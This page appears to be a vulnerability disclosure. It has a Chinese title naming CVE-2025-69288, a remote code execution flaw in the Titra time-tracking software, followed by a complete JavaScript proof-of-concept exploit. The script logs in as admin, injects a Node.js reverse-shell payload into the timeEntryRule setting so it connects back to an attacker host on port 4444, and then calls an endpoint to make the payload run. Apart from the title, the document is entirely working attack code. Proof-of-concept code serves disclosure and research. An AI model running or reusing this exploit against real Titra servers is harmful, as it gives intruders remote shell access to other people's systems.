CVE-2025-69288: Titra时间追踪软件远程代码执行漏洞

// CVE-2025-69288 PoC - Titra RCE via timeEntryRule injection // This PoC demonstrates how to exploit the vulnerability // Note: Requires authenticated admin access const axios = require('axios'); // Configuration const TITRA_URL = 'http://target-server:3000'; const ATTACKER_IP = 'attacker-ip'; const ATTACKER_PORT = '4444'; // Step 1: Authenticate as admin async function authenticate() { const response = await axios.post(`${TITRA_URL}/api/auth/login`, { email: '[email protected]', password: 'admin-password' }); return response.data.token; } // Step 2: Inject malicious code into timeEntryRule async function injectPayload(token) { // Reverse shell payload const payload = ` const net = require('net'); const cp = require('child_process'); const client = new net.Socket(); client.connect(${ATTACKER_PORT}, '${ATTACKER_IP}', () => { client.pipe(cp.spawn('sh', {stdio: [0, 1, 2]}).stdin); }); `; // Update timeEntryRule with malicious code await axios.put( `${TITRA_URL}/api/settings/timeEntryRule`, { value: payload }, { headers: { Authorization: `Bearer ${token}` } } ); console.log('[+] Malicious payload injected into timeEntryRule'); } // Step 3: Trigger the execution async function triggerExecution(token) { // Trigger timeEntryRule evaluation await axios.post( `${TITRA_URL}/api/time-entries/evaluate-rules`, {}, { headers: { Authorization: `Bearer ${token}` } } ); console.log('[+] Payload triggered - check your listener'); } // Main execution (async () => { try { const token = await authenticate(); await injectPayload(token); await triggerExecution(token); } catch (error) { console.error('[-] Exploitation failed:', error.message); } })();